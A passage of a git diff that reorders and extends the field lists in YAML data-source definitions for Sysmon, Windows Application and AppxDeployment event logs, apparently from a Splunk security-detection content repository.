System_Props_Xml - - TargetObject - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -65,28 +33,52 @@ fields: - date_year - date_zone - dest + - Details - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category - object_path + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber - registry_hive - registry_key_name - registry_path - registry_value_data - registry_value_name - registry_value_type + - RegistryValueData + - RegistryValueType + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id @@ -94,13 +86,23 @@ fields: - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/sysmon_eventid_14.yml b/data_sources/sysmon_eventid_14.yml index 877834a5fd..0a862e3db3 100644 --- a/data_sources/sysmon_eventid_14.yml +++ b/data_sources/sysmon_eventid_14.yml @@ -15,4 +15,120 @@ supported_TA: version: 5.0.1 fields: - _time + - action + - Channel + - CommandLine + - Company + - Computer + - CurrentDirectory + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - Description + - dest + - Details + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - FileVersion + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - LogonGuid + - LogonId + - MD5 + - Name + - object_category + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - ParentUser + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - tag::object_category + - TargetObject + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User + - user + - user_id + - UserID + - UtcTime + - vendor_product + - Version example_log: '' diff --git a/data_sources/sysmon_eventid_15.yml b/data_sources/sysmon_eventid_15.yml index 26bc8419fa..6ce32f6c2f 100644 --- a/data_sources/sysmon_eventid_15.yml +++ b/data_sources/sysmon_eventid_15.yml @@ -36,6 +36,7 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id - EventChannel @@ -76,6 +77,8 @@ fields: - RecordNumber - RuleName - SecurityID + - severity + - severity_id - SHA256 - signature - signature_id @@ -88,11 +91,14 @@ fields: - tag::eventtype - TargetFilename - Task + - TaskCategory - ThreadID - TimeCreated - timeendpos + - timestamp - timestartpos - user + - User - user_id - UserID - UtcTime diff --git a/data_sources/sysmon_eventid_17.yml b/data_sources/sysmon_eventid_17.yml index 53031fbf53..cc6818726a 100644 --- a/data_sources/sysmon_eventid_17.yml +++ b/data_sources/sysmon_eventid_17.yml @@ -18,38 +18,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - PipeName - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -59,33 +30,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name + - Opcode - os - pipe_name + - PipeName - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc diff --git a/data_sources/sysmon_eventid_18.yml b/data_sources/sysmon_eventid_18.yml index 01dec72da3..ac14d9ea15 100644 --- a/data_sources/sysmon_eventid_18.yml +++ b/data_sources/sysmon_eventid_18.yml @@ -21,38 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - PipeName - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -62,33 +33,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name + - Opcode - os - pipe_name + - PipeName - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc diff --git a/data_sources/sysmon_eventid_22.yml b/data_sources/sysmon_eventid_22.yml index 2a53a74962..7467e3f285 100644 --- a/data_sources/sysmon_eventid_22.yml +++ b/data_sources/sysmon_eventid_22.yml @@ -22,6 +22,8 @@ supported_TA: version: 5.0.1 fields: - _time + - answer + - answer_count - Channel - Computer - date_hour @@ -32,6 +34,7 @@ fields: - date_wday - date_year - date_zone + - dvc - dvc_nt_host - event_id - EventChannel @@ -69,6 +72,8 @@ fields: - reply_code_id - RuleName - SecurityID + - severity + - severity_id - signature - signature_id - source @@ -84,6 +89,8 @@ fields: - TimeCreated - timeendpos - timestartpos + - user + - User - user_id - UserID - UtcTime diff --git a/data_sources/sysmon_eventid_23.yml b/data_sources/sysmon_eventid_23.yml index 6d934d8138..7da38b49a7 100644 --- a/data_sources/sysmon_eventid_23.yml +++ b/data_sources/sysmon_eventid_23.yml @@ -22,44 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Archived - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Hashes - - IMPHASH - - Image - - IsExecutable - - Keywords - - Level - - MD5 - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SHA256 - - SecurityID - - SystemTime - - System_Props_Xml - - TargetFilename - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -69,37 +35,74 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - file_hash - file_modify_time - file_name - file_path + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IsExecutable + - Keywords + - Level - linecount + - MD5 + - Name - object_category + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetFilename + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/sysmon_eventid_26.yml b/data_sources/sysmon_eventid_26.yml index 07fabf9724..663897429a 100644 --- a/data_sources/sysmon_eventid_26.yml +++ b/data_sources/sysmon_eventid_26.yml @@ -15,6 +15,87 @@ supported_TA: version: 5.0.1 fields: - _time + - action + - Archived + - Channel + - Computer + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - eventtype + - file_hash + - file_modify_time + - file_name + - file_path + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IsExecutable + - Keywords + - Level + - linecount + - MD5 + - Name + - object_category + - Opcode + - process_exec + - process_guid + - process_id + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 + - signature + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - tag::object_category + - TargetFilename + - Task + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User + - user + - user_id + - UserID + - UtcTime + - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/sysmon_eventid_29.yml b/data_sources/sysmon_eventid_29.yml index 4ab79dacf8..e0307e8058 100644 --- a/data_sources/sysmon_eventid_29.yml +++ b/data_sources/sysmon_eventid_29.yml @@ -16,12 +16,8 @@ supported_TA: fields: - _time - action - - dest - - dvc - - Image - - EventID - - EventCode - - event_type + - Channel + - Computer - date_hour - date_mday - date_minute @@ -30,26 +26,69 @@ fields: - date_wday - date_year - date_zone - - User - - UserID - - TargetFilename - - process_id - - ProcessID - - Hashes + - dest + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID - EventRecordID - - Keywords - - Channel - - IMPHASH + - eventtype + - file_access_time - file_hash - file_name - file_path + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - Keywords + - Level + - linecount + - MD5 + - Name + - Opcode + - process_guid + - process_id + - ProcessGuid + - ProcessID + - ProcessId + - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID - severity + - severity_id + - SHA256 - signature - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - TargetFilename + - Task + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User - user - user_id - - SecurityID - - process_guid + - UserID + - UtcTime + - vendor_product + - Version output_fields: - Image - file_name diff --git a/data_sources/sysmon_eventid_3.yml b/data_sources/sysmon_eventid_3.yml index 2b0e1cfab0..87387f0030 100644 --- a/data_sources/sysmon_eventid_3.yml +++ b/data_sources/sysmon_eventid_3.yml @@ -22,50 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time - - Channel - - Computer - - DestinationHostname - - DestinationIp - - DestinationIsIpv6 - - DestinationPort - - DestinationPortName - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Image - - Initiated - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - Protocol - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceHostname - - SourceIp - - SourceIsIpv6 - - SourcePort - - SourcePortName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - action - app + - Channel + - Computer - creation_time - date_hour - date_mday @@ -76,28 +36,61 @@ fields: - date_year - date_zone - dest + - dest_host - dest_ip - dest_port + - DestinationHostname + - DestinationIp + - DestinationIsIpv6 + - DestinationPort + - DestinationPortName - direction - dvc - dvc_ip - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid - host - id + - Image - index + - Initiated + - Keywords + - Level - linecount + - Name + - Opcode - process_exec - process_guid - process_id - process_name + - ProcessGuid + - ProcessID + - ProcessId + - Protocol - protocol - protocol_version - punct + - RecordID + - RecordNumber + - RuleName + - severity + - severity_id - signature - signature_id - source + - SourceHostname + - SourceIp + - SourceIsIpv6 + - SourcePort + - SourcePortName - sourcetype - splunk_server - src @@ -105,15 +98,24 @@ fields: - src_ip - src_port - state + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID - timeendpos - timestartpos - transport - transport_dest_port + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - app diff --git a/data_sources/sysmon_eventid_6.yml b/data_sources/sysmon_eventid_6.yml index bb5efed138..1eb8f0ce0e 100644 --- a/data_sources/sysmon_eventid_6.yml +++ b/data_sources/sysmon_eventid_6.yml @@ -21,40 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Hashes - - ImageLoaded - - Keywords - - Level - - MD5 - - Name - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SHA256 - - SecurityID - - Signature - - SignatureStatus - - Signed - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -64,30 +33,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid + - Hashes - host - id + - ImageLoaded + - IMPHASH - index + - Keywords + - Level - linecount + - MD5 + - Name + - Opcode - os - process_hash - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID - service_signature_exists - service_signature_verified + - severity + - severity_id + - SHA256 + - Signature - signature - signature_id + - SignatureStatus + - Signed - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc diff --git a/data_sources/sysmon_eventid_7.yml b/data_sources/sysmon_eventid_7.yml index b4ec9a8fd3..c12558683a 100644 --- a/data_sources/sysmon_eventid_7.yml +++ b/data_sources/sysmon_eventid_7.yml @@ -22,92 +22,96 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Company - Computer + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone - Description + - dest + - dvc + - dvc_nt_host + - event_id - EventChannel - EventCode - EventData_Xml - EventDescription - EventID - EventRecordID + - eventtype - FileVersion - Guid - Hashes - - IMPHASH + - host + - id - Image - ImageLoaded + - IMPHASH + - index - Keywords - Level + - linecount + - loaded_file + - loaded_file_path - MD5 - Name - Opcode + - original_file_name - OriginalFileName + - os + - process_exec + - process_guid + - process_hash + - process_id + - process_name + - process_path - ProcessGuid - ProcessID - ProcessId - Product + - punct - RecordID - RecordNumber - RuleName - - SHA256 - SecurityID - - Signature - - SignatureStatus - - Signed - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - - action - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - os - - parent_process_exec - - parent_process_guid - - parent_process_id - - parent_process_name - - parent_process_path - - process_exec - - process_hash - - process_name - - process_path - - punct - service_dll_signature_exists - service_dll_signature_verified + - severity + - severity_id + - SHA256 + - Signature - signature - signature_id + - SignatureStatus + - Signed - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::action - tag::eventtype + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - Image - ImageLoaded diff --git a/data_sources/sysmon_eventid_8.yml b/data_sources/sysmon_eventid_8.yml index 53a5c3c09b..e2224c576e 100644 --- a/data_sources/sysmon_eventid_8.yml +++ b/data_sources/sysmon_eventid_8.yml @@ -21,43 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Name - - NewThreadId - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceImage - - SourceProcessGuid - - SourceProcessId - - StartAddress - - StartFunction - - StartModule - - SystemTime - - System_Props_Xml - - TargetImage - - TargetProcessGuid - - TargetProcessId - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -67,13 +33,27 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - loaded_file + - Name + - NewThreadId + - Opcode - os - parent_process_exec - parent_process_guid @@ -85,21 +65,46 @@ fields: - process_id - process_name - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source + - SourceImage + - SourceProcessGuid + - SourceProcessId - sourcetype - splunk_server - src_address - src_function - src_module + - StartAddress + - StartFunction + - StartModule + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - TargetImage + - TargetProcessGuid + - TargetProcessId + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - signature_id diff --git a/data_sources/windows_active_directory_admon.yml b/data_sources/windows_active_directory_admon.yml index 77746de129..f6accf46da 100644 --- a/data_sources/windows_active_directory_admon.yml +++ b/data_sources/windows_active_directory_admon.yml @@ -19,37 +19,37 @@ supported_TA: version: 11.0.3 fields: - _time - - Guid - - IMPHASH - - MD5 - - Name - - ProcessID - - SHA256 - - SystemTime - - ThreadID - - UserID - admonEventType - cn - - dSCorePropagationData - dcName - displayName - distinguishedName + - dSCorePropagationData - eventtype - gPCMachineExtensionNames + - Guid - guid_lookup - host + - IMPHASH - index - instanceType - linecount + - MD5 + - Name - name - objectCategory - objectClass - objectGUID + - ProcessID - punct + - SHA256 - source - sourcetype - splunk_server + - SystemTime + - ThreadID - timestamp + - UserID - uSNChanged - uSNCreated - whenChanged diff --git a/data_sources/windows_event_log_application_15457.yml b/data_sources/windows_event_log_application_15457.yml index 5198777c72..7b0470b983 100644 --- a/data_sources/windows_event_log_application_15457.yml +++ b/data_sources/windows_event_log_application_15457.yml @@ -13,71 +13,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: - - CategoryString + - _time + - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventSourceName + - eventtype - Guid - - Image_File_Name + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - ProcessID + - punct - Qualifiers - RecordNumber - - RenderingInfo_Xml - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Task - - TaskCategory - - ThreadID - - UserData_Xml - - UserID - - Version - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id - signature @@ -85,15 +49,19 @@ fields: - source - sourcetype - splunk_server - - splunk_server_group - - status - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - Task + - TaskCategory + - ThreadID + - timestamp + - User - user_id + - UserData_Xml + - UserID - vendor_product + - Version example_log: 1545704200x8000000000000015827Applicationar-win-2.attackrange.localshow advanced options10613C00000A00000009000000610072002D00770069006E002D0032000000070000006D00610073007400650072000000 diff --git a/data_sources/windows_event_log_application_2282.yml b/data_sources/windows_event_log_application_2282.yml index b5c5f36115..c0dd091414 100644 --- a/data_sources/windows_event_log_application_2282.yml +++ b/data_sources/windows_event_log_application_2282.yml @@ -21,53 +21,47 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - ModuleDll - Name - Opcode - ProcessID - ProcessorArchitecture + - punct - Qualifiers - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor_product + - Version output_fields: - dest example_log: 228202000x800000000000001001307Applicationwin-dc-exch01.attackrange.localc:\temp\msf.dllAMD64C1000000 diff --git a/data_sources/windows_event_log_application_3000.yml b/data_sources/windows_event_log_application_3000.yml index 6e376dc028..3325d1bcf3 100644 --- a/data_sources/windows_event_log_application_3000.yml +++ b/data_sources/windows_event_log_application_3000.yml @@ -22,47 +22,50 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 - param3 + - ProcessID - punct + - Qualifiers + - RecordNumber + - severity + - severity_id - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID - timestamp - user_id + - UserID - vendor_product + - Version output_fields: - dest example_log: 300004000x8000000000000021334Applicationwin-host-mhaag-attack-range-117C:\Windows\System32\klist.exe001d8c3afcf370d13 diff --git a/data_sources/windows_event_log_application_8128.yml b/data_sources/windows_event_log_application_8128.yml index 0135033e88..6fceb20960 100644 --- a/data_sources/windows_event_log_application_8128.yml +++ b/data_sources/windows_event_log_application_8128.yml @@ -13,62 +13,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: - - CategoryString + - _time + - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventID - EventRecordID - EventSourceName + - eventtype - Guid - - Image_File_Name + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - ProcessID + - punct - Qualifiers - RecordNumber - - RenderingInfo_Xml - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Task - - TaskCategory - - ThreadID - - UserID - - Version - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _time - - action - - category - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id - signature @@ -76,13 +49,19 @@ fields: - source - sourcetype - splunk_server - - splunk_server_group - - status - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype - - user_group_id + - Task + - TaskCategory + - ThreadID + - timestamp + - User - user_id + - UserData_Xml + - UserID - vendor_product + - Version example_log: 812804200x8000000000000016635Applicationar-win-2.attackrange.localodsole70.dll2022.160.1000sp_OACreateC01F00000A00000009000000610072002D00770069006E002D0032000000050000006D007300640062000000 diff --git a/data_sources/windows_event_log_appxdeployment_server_400.yml b/data_sources/windows_event_log_appxdeployment_server_400.yml index d198bf8189..946d36a28d 100644 --- a/data_sources/windows_event_log_appxdeployment_server_400.yml +++ b/data_sources/windows_event_log_appxdeployment_server_400.yml @@ -21,36 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode - PackageDisplayName + - PackageFlags + - PackageFlags2 - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName - PackageSourceUri + - PackageType - Path - - CallingProcess - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest diff --git a/data_sources/windows_event_log_appxdeployment_server_854.yml b/data_sources/windows_event_log_appxdeployment_server_854.yml index c6f21e79e3..dc8f7c03ee 100644 --- a/data_sources/windows_event_log_appxdeployment_server_854.yml +++ b/data_sources/windows_event_log_appxdeployment_server_854.yml @@ -21,30 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode + - PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType - Path - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest diff --git a/data_sources/windows_event_log_appxdeployment_server_855.yml b/data_sources/windows_event_log_appxdeployment_server_855.yml index 5cca95235e..b87262cbd6 100644 --- a/data_sources/windows_event_log_appxdeployment_server_855.yml +++ b/data_sources/windows_event_log_appxdeployment_server_855.yml @@ -21,29 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer - - Correlation + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name 